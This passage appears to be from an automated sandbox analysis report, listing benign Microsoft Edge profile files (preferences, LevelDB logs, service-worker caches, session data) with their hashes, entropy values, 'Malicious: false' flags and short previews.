SHA-512:	202AF0A95D73E70D02F5BF365F42BC512012195A6CAAC885A3CFDD67AA60A578D9E2AFA04DDC14725FA8B368536CFEF70610AF60571EDBE902B6430B6DEACEA9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561505285907212
Encrypted:	false
SSDEEP:	768:+mw0qf7pLGLPQuWPKMfoZ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSbB683prwZY8ZD:+mw0qZcPQuWPKMfoZu1ja3bBV3aZY84+
MD5:	EC13BFE803A85918527482CD3F97436A
SHA1:	F709C29CF104F50B8CF3F4A4A2A43CE8D869D057
SHA-256:	FD043931322ED5AFA30E4198F2A94D7FC1C656918DFBE9B66947B2A1FA8D9C01
SHA-512:	B58B6A9FAAE199F6F59E5BB9033E0D9B3A56B6304917838CDB276E0DDAAA16A18CE4610BED04956E462EF9F0E2FE502F7D86C68B8450FB2FBE85ACB942CDA75A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376509234535593","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376509234535593","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e804.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561505285907212
Encrypted:	false
SSDEEP:	768:+mw0qf7pLGLPQuWPKMfoZ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSbB683prwZY8ZD:+mw0qZcPQuWPKMfoZu1ja3bBV3aZY84+
MD5:	EC13BFE803A85918527482CD3F97436A
SHA1:	F709C29CF104F50B8CF3F4A4A2A43CE8D869D057
SHA-256:	FD043931322ED5AFA30E4198F2A94D7FC1C656918DFBE9B66947B2A1FA8D9C01
SHA-512:	B58B6A9FAAE199F6F59E5BB9033E0D9B3A56B6304917838CDB276E0DDAAA16A18CE4610BED04956E462EF9F0E2FE502F7D86C68B8450FB2FBE85ACB942CDA75A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376509234535593","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376509234535593","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.832575647932683
Encrypted:	false
SSDEEP:	48:F2em55trdDjppfBgXrd6X8fnTrdDjpUBXrdgpUB1:F1m55txDjDMx6XcnTxDjuxgW
MD5:	DFC73C2A6AE6C41DEAE15F9A7CFCD75D
SHA1:	F2DAECE98F1754AD944EFAFC9F8652097F35F16A
SHA-256:	A225814997581DD45F364EBA42486158088CEFF7E2DBADC1C89CFF7A332182F6
SHA-512:	649FEE0750CEE2E8AC66F3846294A7AC6708DFCDBCF911472C56C393583DF97CB67C687E7739CEC8C917F601A7C83A39349460C2022365928DA63C44B36784A2
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..R^m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.1842238405389525
Encrypted:	false
SSDEEP:	6:HUwGQaD1CHhJ23oH+TcwtE/a252KLlVUwYaN+q2PCHhJ23oH+TcwtE/a2ZIFUv:+HYeb8xLt+vBYeb8J2FUv
MD5:	E8D721235CD7CB8A1840AB6080116F76
SHA1:	7C60769884357793184AE487A39748937EE48FD4
SHA-256:	E728F9D188AA6DA36B1DDC69496D4942A3E957CDA1F54B872448095692637E3A
SHA-512:	0BA8C092F2903DF43826626515866766E1C0210EAAA572C45F8CE55B6EC0CD33B99DA9A425D5CC9A4C6A971CDCD00AA8697C0CF690A0804A7D25A41D461661CD
Malicious:	false
Preview:	2024/11/19-12:00:46.255 18cc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/19-12:00:46.267 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.578432279302578
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKH/sLsES6wPj:d9LyxPXfOxr1lMe1nL/CL/TXEmin4wb
MD5:	E03259A140C669B1B3C9BA8F0F0D3E4A
SHA1:	1EC2A3C9F7E3BB4AA805186D3E0BBD1D89B6AC19
SHA-256:	7527AA56D7D4131D98F7EF2238FB7A9370F69BDF22C66775AFA312F7DB7D46ED
SHA-512:	DCBC05CF7C8C82CBE788E92380D008F8FB47DAA8B19B329D46D0BC60D4AB4490FC4AD07D453D3179764E92908F6F28B523A8586E445036EDBCD41BE562ABB9E5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188993
Entropy (8bit):	6.387152005243828
Encrypted:	false
SSDEEP:	3072:EcjHFFobTEgw112wYnL/vXXMSDMUUD2aXr3GH0:ZgwuwsL/vXtvUSIiU
MD5:	1AD57E867D25EE254A9A4B49F2A962EF
SHA1:	E6A28E819023B7979B4C2233C9723FB7FB99D10D
SHA-256:	8FD447915140D7DF3FF6C22EE7B2F75D552E6DBCB699340492FCB8D26CFDA6C8
SHA-512:	86457882BF5277221E7BA32FB79EBB8BB607D21023EF2A5A6BDF50F0405309005C376C49B2D6A4DC8D0F62CB90063791962998BCEF1F1B9295569B2482398D78
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc...[....exports...Rc..7....module....Rcf..A....define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.&..Zb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:oy1Lc9Xl/lR/lxE0tllEYxdn:omLcNC0eYxd
MD5:	F7C526CCB07988E3BE0A9B9885396A54
SHA1:	614333D0B5F861F8EFAC1384683E8C6F99D36320
SHA-256:	D5EA67947F62BBD157013F3773A75F134A57D120D0DD9A628A71CD5410869FDA
SHA-512:	76B8DE74297131ED234D965EF47A7F94EFBBFE87FF5AE7B3D9065D92841DED1F704FAFB35C816727D943EA1F9255EF9ACDFC202FED048A958826413B82AE8C83
Malicious:	false
Preview:	@.....P.oy retne.........................X....,.................i.A./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:oy1Lc9Xl/lR/lxE0tllEYxdn:omLcNC0eYxd
MD5:	F7C526CCB07988E3BE0A9B9885396A54
SHA1:	614333D0B5F861F8EFAC1384683E8C6F99D36320
SHA-256:	D5EA67947F62BBD157013F3773A75F134A57D120D0DD9A628A71CD5410869FDA
SHA-512:	76B8DE74297131ED234D965EF47A7F94EFBBFE87FF5AE7B3D9065D92841DED1F704FAFB35C816727D943EA1F9255EF9ACDFC202FED048A958826413B82AE8C83
Malicious:	false
Preview:	@.....P.oy retne.........................X....,.................i.A./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2fad1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:oy1Lc9Xl/lR/lxE0tllEYxdn:omLcNC0eYxd
MD5:	F7C526CCB07988E3BE0A9B9885396A54
SHA1:	614333D0B5F861F8EFAC1384683E8C6F99D36320
SHA-256:	D5EA67947F62BBD157013F3773A75F134A57D120D0DD9A628A71CD5410869FDA
SHA-512:	76B8DE74297131ED234D965EF47A7F94EFBBFE87FF5AE7B3D9065D92841DED1F704FAFB35C816727D943EA1F9255EF9ACDFC202FED048A958826413B82AE8C83
Malicious:	false
Preview:	@.....P.oy retne.........................X....,.................i.A./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5655
Entropy (8bit):	3.3981240967839965
Encrypted:	false
SSDEEP:	96:HNxHHr7/6n7VZt1Bgj9Xp+R+Vi+G5SLl9iSr81hzfhceNbU:jnr76n7h149Xp+RKiJ5SLl9iSr8T7h7i
MD5:	E818182291EBAD6EC572A4C1CCA90386
SHA1:	39D51726F35BDBA7FD69831038E787EA1686D822
SHA-256:	250BDD333D25E7FB21A5D3330F69CFB069ED7DBB07C3EF8D62CA81E7EBF5CAD9
SHA-512:	82678CE1C1D3A455E7822D17273486AC038FCC19AC1FE28FE13143449AF2A6AD130723B029A44EBACF1A3D2F06806C8855018BD6A01B75508ABFBB9A78AAFC61
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................54.b................next-map-id.1.Cnamespace-af9b306c_5c5e_480b_84ce_d913c085cd17-https://ntp.msn.com/.0.J...................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.b.g.t.a.s.k.t.h.r.o.t.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.s.r.c.t.v.2.t.4.,.p.r.g.-.1.s.w.-.s.a.-.e.n.c.o.m.b.o.c.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.l.3.o.t.4.t.1.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.133549602866246
Encrypted:	false
SSDEEP:	6:HUwbB1yq2PCHhJ23oH+TcwtrQMxIFUt8YUwbBj1Zmw+YUwbD1RkwOCHhJ23oH+Tv:l1yvBYebCFUt8AJ/+G1R56YebtJ
MD5:	F1D56D0A84A263B13377F1A9724EABEC
SHA1:	5EC797E6C9EF11ADD24B12694D24062389347174
SHA-256:	DBAC4FB60DE4DC0895993C73A3F67306549E041E9B229F1442AA42817AE92BC6
SHA-512:	BC4018B84213873EE052F0D8ED736C1018BF9C69F5F17B6D7A3F369E94A81920A76E1098CF0C25730A19C1DCE9952C171F6DBB712701D187183D9FC989458B36
Malicious:	false
Preview:	2024/11/19-12:00:35.309 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-12:00:35.309 e34 Recovering log #3.2024/11/19-12:00:35.329 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.133549602866246
Encrypted:	false
SSDEEP:	6:HUwbB1yq2PCHhJ23oH+TcwtrQMxIFUt8YUwbBj1Zmw+YUwbD1RkwOCHhJ23oH+Tv:l1yvBYebCFUt8AJ/+G1R56YebtJ
MD5:	F1D56D0A84A263B13377F1A9724EABEC
SHA1:	5EC797E6C9EF11ADD24B12694D24062389347174
SHA-256:	DBAC4FB60DE4DC0895993C73A3F67306549E041E9B229F1442AA42817AE92BC6
SHA-512:	BC4018B84213873EE052F0D8ED736C1018BF9C69F5F17B6D7A3F369E94A81920A76E1098CF0C25730A19C1DCE9952C171F6DBB712701D187183D9FC989458B36
Malicious:	false
Preview:	2024/11/19-12:00:35.309 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-12:00:35.309 e34 Recovering log #3.2024/11/19-12:00:35.329 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376509237048115

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7885703721423853
Encrypted:	false
SSDEEP:	24:3NaMVugYJY7psAF4unxrEtLp3X2amEtG1Chq0K8IWh9tQKkOAM4X:3YMVuczFWLp2FEkCheWLOHOp
MD5:	4629374C285D1BDAA392167B4FC8A754
SHA1:	8513E7FAC6BC565C1F9D84FD330787FE1354E589
SHA-256:	570CD72DD7B16224FA2A9D5F93EA748116406A584298E3D497EDE57B75431B75
SHA-512:	999B4359AF468B284925D6680F3AF7688432A77B67B9F6652B5F613F79C42EA5C03B99F97DA34A5482A2291A9D3A6C92DAD7FA9A9740410151470A3BE7DCA5D1
Malicious:	false
Preview:	SNSS.......bp.F...........bp.F......"bp.F...........bp.F.......bp.F.......cp.F.......cp.F....!..cp.F...............................bp.Fcp.F1..,...cp.F$...af9b306c_5c5e_480b_84ce_d913c085cd17...bp.F.......cp.F...............bp.F...bp.F.......................bp.F....................5..0...bp.F&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}.....bp.F.......bp.F..........................cp.F...........cp.F........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........m..F'...m..F'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.119886316415711
Encrypted:	false
SSDEEP:	6:HUwWn1vOq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YUwWn1vXZmw+YUwWnOdzkwOCHhJr:un1vOvBYebIhHh2FUt8/n1vX/+/no560
MD5:	6F76ADAF1601E6A6BE72934E15099479
SHA1:	50F393E0470DC8058C450BFC0FF1D41FF9821A3C
SHA-256:	987F0C82F327C5D54ACC86DF4CE20159CA749D7B3B6F94758CF3B9F30EB0D9DE
SHA-512:	54BD165DD2895C3905F1497CF3B394BFDA1AAB5897A93EBBDF6ADB50A2CE2163DFDDD2D853BC359E142BCDB61B53DD5270B90D9F04BBCDAAA086ACA19320A281
Malicious:	false
Preview:	2024/11/19-12:00:34.621 1c70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-12:00:34.621 1c70 Recovering log #3.2024/11/19-12:00:34.622 1c70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.119886316415711
Encrypted:	false
SSDEEP:	6:HUwWn1vOq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YUwWn1vXZmw+YUwWnOdzkwOCHhJr:un1vOvBYebIhHh2FUt8/n1vX/+/no560
MD5:	6F76ADAF1601E6A6BE72934E15099479
SHA1:	50F393E0470DC8058C450BFC0FF1D41FF9821A3C
SHA-256:	987F0C82F327C5D54ACC86DF4CE20159CA749D7B3B6F94758CF3B9F30EB0D9DE
SHA-512:	54BD165DD2895C3905F1497CF3B394BFDA1AAB5897A93EBBDF6ADB50A2CE2163DFDDD2D853BC359E142BCDB61B53DD5270B90D9F04BBCDAAA086ACA19320A281
Malicious:	false
Preview:	2024/11/19-12:00:34.621 1c70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-12:00:34.621 1c70 Recovering log #3.2024/11/19-12:00:34.622 1c70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
